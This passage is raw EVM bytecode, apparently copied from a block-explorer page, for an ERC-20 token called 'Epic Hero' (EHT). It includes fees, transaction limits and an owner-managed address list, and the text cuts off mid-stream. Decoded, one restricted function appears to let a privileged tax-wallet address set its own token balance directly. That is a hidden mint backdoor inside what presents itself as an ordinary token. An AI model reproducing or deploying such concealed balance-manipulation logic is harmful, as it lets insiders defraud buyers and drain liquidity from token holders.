bf565b60405180910390fd5b6000611795610a6f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561180357506117d3610a6f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ce15761183060646118226007548561239090919063ffffffff16565b61240a90919063ffffffff16565b9050600660009054906101000a900460ff16156119bf57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119be5743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197090613277565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a6a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac05750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b165750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b6c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2757601054821115611bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bad906132e3565b60405180910390fd5b60115482611bc385610782565b611bcd9190613303565b1115611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0590613383565b60405180910390fd5b600e6000815480929190611c2190612cc2565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cb057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce057611cdd6064611ccf6008548561239090919063ffffffff16565b61240a90919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d825750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8c57600090505b6000811115611e9057611de781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e87919061273e565b60405180910390a35b611ee282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89611f3b82846124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61202e84866124b290919063ffffffff16565b60405161203b919061273e565b60405180910390a350505050565b6000838311158290612091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208891906125ef565b60405180910390fd5b50600083856120a091906133a3565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120e4576120e361286c565b5b6040519080825280602002602001820160405280156121125781602001602082028036833780820191505090505b509050308160008151811061212a57612129612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f59190612d1f565b8160018151811061220957612208612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122d4959493929190613495565b600060405180830381600087803b1580156122ee57600080fd5b505af1158015612302573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561238c573d6000803e3d6000fd5b5050565b60008083036123a25760009050612404565b600082846123b09190612be5565b90508284826123bf919061351e565b146123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f6906135c1565b60405180910390fd5b809150505b92915050565b600061244c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fc565b905092915050565b60008082846124639190613303565b9050838110156124a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249f9061362d565b60405180910390fd5b8091505092915050565b60006124f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612049565b905092915050565b60008083118290612543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253a91906125ef565b60405180910390fd5b5060008385612552919061351e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561259957808201518184015260208101905061257e565b60008484015250505050565b6000601f19601f8301169050919050565b60006125c18261255f565b6125cb818561256a565b93506125db81856020860161257b565b6125e4816125a5565b840191505092915050565b6000602082019050818103600083015261260981846125b6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061265082612625565b9050919050565b61266081612645565b811461266b57600080fd5b50565b60008135905061267d81612657565b92915050565b6000819050919050565b61269681612683565b81146126a157600080fd5b50565b6000813590506126b38161268d565b92915050565b600080604083850312156126d0576126cf61261b565b5b60006126de8582860161266e565b92505060206126ef858286016126a4565b9150509250929050565b60008115159050919050565b61270e816126f9565b82525050565b60006020820190506127296000830184612705565b92915050565b61273881612683565b82525050565b6000602082019050612753600083018461272f565b92915050565b6000806000606084860312156127725761277161261b565b5b60006127808682870161266e565b93505060206127918682870161266e565b92505060406127a2868287016126a4565b9150509250925092565b600060ff82169050919050565b6127c2816127ac565b82525050565b60006020820190506127dd60008301846127b9565b92915050565b6000602082840312156127f9576127f861261b565b5b6000612807848285016126a4565b91505092915050565b6000602082840312156128265761282561261b565b5b60006128348482850161266e565b91505092915050565b61284681612645565b82525050565b6000602082019050612861600083018461283d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128a4826125a5565b810181811067ffffffffffffffff821117156128c3576128c261286c565b5b80604052505050565b60006128d6612611565b90506128e2828261289b565b919050565b600067ffffffffffffffff8211156129025761290161286c565b5b602082029050602081019050919050565b600080fd5b600061292b612926846128e7565b6128cc565b9050808382526020820190506020840283018581111561294e5761294d612913565b5b835b818110156129775780612963888261266e565b845260208401935050602081019050612950565b5050509392505050565b600082601f83011261299657612995612867565b5b81356129a6848260208601612918565b91505092915050565b6000602082840312156129c5576129c461261b565b5b600082013567ffffffffffffffff8111156129e3576129e2612620565b5b6129ef84828501612981565b91505092915050565b60008060408385031215612a0f57612a0e61261b565b5b6000612a1d8582860161266e565b9250506020612a2e8582860161266e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612abe57808604811115612a9a57612a99612a38565b5b6001851615612aa95780820291505b8081029050612ab785612a67565b9450612a7e565b94509492505050565b600082612ad75760019050612b93565b81612ae55760009050612b93565b8160018114612afb5760028114612b0557612b34565b6001915050612b93565b60ff841115612b1757612b16612a38565b5b8360020a915084821115612b2e57612b2d612a38565b5b50612b93565b5060208310610133831016604e8410600b8410161715612b695782820a905083811115612b6457612b63612a38565b5b612b93565b612b768484846001612a74565b92509050818404811115612b8d57612b8c612a38565b5b81810290505b9392505050565b6000612ba582612683565b9150612bb0836127ac565b9250612bdd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ac7565b905092915050565b6000612bf082612683565b9150612bfb83612683565b9250828202612c0981612683565b91508282048414831517612c2057612c1f612a38565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c5d60208361256a565b9150612c6882612c27565b602082019050919050565b60006020820190508181036000830152612c8c81612c50565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ccd82612683565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cff57612cfe612a38565b5b600182019050919050565b600081519050612d1981612657565b92915050565b600060208284031215612d3557612d3461261b565b5b6000612d4384828501612d0a565b91505092915050565b6000604082019050612d61600083018561283d565b612d6e602083018461283d565b9392505050565b6000819050919050565b6000819050919050565b6000612da4612d9f612d9a84612d75565b612d7f565b612683565b9050919050565b612db481612d89565b82525050565b600060c082019050612dcf600083018961283d565b612ddc602083018861272f565b612de96040830187612dab565b612df66060830186612dab565b612e03608083018561283d565b612e1060a083018461272f565b979650505050505050565b600081519050612e2a8161268d565b92915050565b600080600060608486031215612e4957612e4861261b565b5b6000612e5786828701612e1b565b9350506020612e6886828701612e1b565b9250506040612e7986828701612e1b565b9150509250925092565b6000604082019050612e98600083018561283d565b612ea5602083018461272f565b9392505050565b612eb5816126f9565b8114612ec057600080fd5b50565b600081519050612ed281612eac565b92915050565b600060208284031215612eee57612eed61261b565b5b6000612efc84828501612ec3565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f6160248361256a565b9150612f6c82612f05565b604082019050919050565b60006020820190508181036000830152612f9081612f54565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff360228361256a565b9150612ffe82612f97565b604082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061308560258361256a565b915061309082613029565b604082019050919050565b600060208201905081810360008301526130b481613078565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061311760238361256a565b9150613122826130bb565b604082019050919050565b600060208201905081810360008301526131468161310a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131a960298361256a565b91506131b48261314d565b604082019050919050565b600060208201905081810360008301526131d88161319c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061326160498361256a565b915061326c826131df565b606082019050919050565b6000602082019050818103600083015261329081613254565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132cd60198361256a565b91506132d882613297565b602082019050919050565b600060208201905081810360008301526132fc816132c0565b9050919050565b600061330e82612683565b915061331983612683565b925082820190508082111561333157613330612a38565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061336d601a8361256a565b915061337882613337565b602082019050919050565b6000602082019050818103600083015261339c81613360565b9050919050565b60006133ae82612683565b91506133b983612683565b92508282039050818111156133d1576133d0612a38565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340c81612645565b82525050565b600061341e8383613403565b60208301905092915050565b6000602082019050919050565b6000613442826133d7565b61344c81856133e2565b9350613457836133f3565b8060005b8381101561348857815161346f8882613412565b975061347a8361342a565b92505060018101905061345b565b5085935050505092915050565b600060a0820190506134aa600083018861272f565b6134b76020830187612dab565b81810360408301526134c98186613437565b90506134d8606083018561283d565b6134e5608083018461272f565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352982612683565b915061353483612683565b925082613544576135436134ef565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ab60218361256a565b91506135b68261354f565b604082019050919050565b600060208201905081810360008301526135da8161359e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613617601b8361256a565b9150613622826135e1565b602082019050919050565b600060208201905081810360008301526136468161360a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e50572e745aa624456bcbf7fb84c40d2d2044ff865f2a4088e6eb99058c948764736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125ef565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126b9565b61058e565b6040516101ba9190612714565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e5919061273e565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b604051610210919061273e565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612759565b6105d6565b60405161024d9190612714565b60405180910390f35b34801561026257600080fd5b5061026b6106af565b60405161027891906127c8565b60405180910390f35b34801561028d57600080fd5b506102966106b8565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127e3565b610755565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190612810565b610782565b6040516102f5919061273e565b60405180910390f35b34801561030a57600080fd5b506103136107cb565b005b34801561032157600080fd5b5061032a61091e565b005b34801561033857600080fd5b50610341610a69565b60405161034e919061273e565b60405180910390f35b34801561036357600080fd5b5061036c610a6f565b604051610379919061284c565b60405180910390f35b34801561038e57600080fd5b50610397610a98565b6040516103a4919061273e565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129af565b610a9e565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129af565b610bc8565b005b34801561040b57600080fd5b50610414610cf2565b60405161042191906125ef565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126b9565b610d2f565b60405161045e9190612714565b60405180910390f35b34801561047357600080fd5b5061047c610d4d565b005b34801561048a57600080fd5b50610493610e1c565b6040516104a0919061273e565b60405180910390f35b3480156104b557600080fd5b506104be610e22565b6040516104cb9190612714565b60405180910390f35b3480156104e057600080fd5b506104e9610e35565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129f8565b611383565b60405161051f919061273e565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127e3565b61140a565b005b60606040518060400160405280600981526020017f45706963204865726f0000000000000000000000000000000000000000000000815250905090565b60006105a261059b611499565b84846114a1565b6001905092915050565b60135481565b60006009600a6105c29190612b9a565b6305f5e1006105d19190612be5565b905090565b60006105e384848461166a565b6106a4846105ef611499565b61069f8560405180606001604052806028815260200161364e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610655611499565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120499092919063ffffffff16565b6114a1565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f9611499565b73ffffffffffffffffffffffffffffffffffffffff161461071957600080fd5b600061072430610782565b9050600081111561073957610738816120ad565b5b600047905060008111156107515761075081612324565b5b5050565b600f54331461076357600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d3611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612c73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610926611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90612c73565b60405180910390fd5b6009600a6109c19190612b9a565b6305f5e1006109d09190612be5565b6010819055506009600a6109e49190612b9a565b6305f5e1006109f39190612be5565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a439190612b9a565b6305f5e100610a529190612be5565b604051610a5f919061273e565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aa6611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2a90612c73565b60405180910390fd5b60005b8151811015610bc457600060036000848481518110610b5857610b57612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bbc90612cc2565b915050610b36565b5050565b610bd0611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612c73565b60405180910390fd5b60005b8151811015610cee57600160036000848481518110610c8257610c81612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce690612cc2565b915050610c60565b5050565b60606040518060400160405280600381526020017f4548540000000000000000000000000000000000000000000000000000000000815250905090565b6000610d43610d3c611499565b848461166a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8e611499565b73ffffffffffffffffffffffffffffffffffffffff1614610dae57600080fd5b6000610db930610782565b9050601560149054906101000a900460ff16158015610dd85750600081115b15610de757610de6816120ad565b5b6000479050601560149054906101000a900460ff16158015610e095750600081115b15610e1857610e1781612324565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e76611499565b73ffffffffffffffffffffffffffffffffffffffff1614610e9657600080fd5b601560149054906101000a900460ff1661137a57737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f349190612b9a565b6305f5e100610f439190612be5565b6114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd99190612d1f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611062573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110869190612d1f565b6040518363ffffffff1660e01b81526004016110a3929190612d4c565b6020604051808303816000875af11580156110c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e69190612d1f565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116f30610782565b60008061117a610a6f565b426040518863ffffffff1660e01b815260040161119c96959493929190612dba565b60606040518083038185885af11580156111ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111df9190612e30565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611281929190612e83565b6020604051808303816000875af11580156112a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c49190612ed8565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550611381565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661144b611499565b73ffffffffffffffffffffffffffffffffffffffff161461146b57600080fd5b600954811115801561147f5750600a548111155b61148857600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790612f77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613009565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165d919061273e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d09061309b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061312d565b60405180910390fd5b6000811161178b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611782906131bf565b60405180910390fd5b6000611795610a6f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561180357506117d3610a6f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ce15761183060646118226007548561239090919063ffffffff16565b61240a90919063ffffffff16565b9050600660009054906101000a900460ff16156119bf57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119be5743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197090613277565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a6a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac05750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b165750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b6c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2757601054821115611bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bad906132e3565b60405180910390fd5b60115482611bc385610782565b611bcd9190613303565b1115611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0590613383565b60405180910390fd5b600e6000815480929190611c2190612cc2565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cb057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce057611cdd6064611ccf6008548561239090919063ffffffff16565b61240a90919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d825750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8c57600090505b6000811115611e9057611de781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e87919061273e565b60405180910390a35b611ee282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89611f3b82846124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61202e84866124b290919063ffffffff16565b60405161203b919061273e565b60405180910390a350505050565b6000838311158290612091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208891906125ef565b60405180910390fd5b50600083856120a091906133a3565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120e4576120e361286c565b5b6040519080825280602002602001820160405280156121125781602001602082028036833780820191505090505b509050308160008151811061212a57612129612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff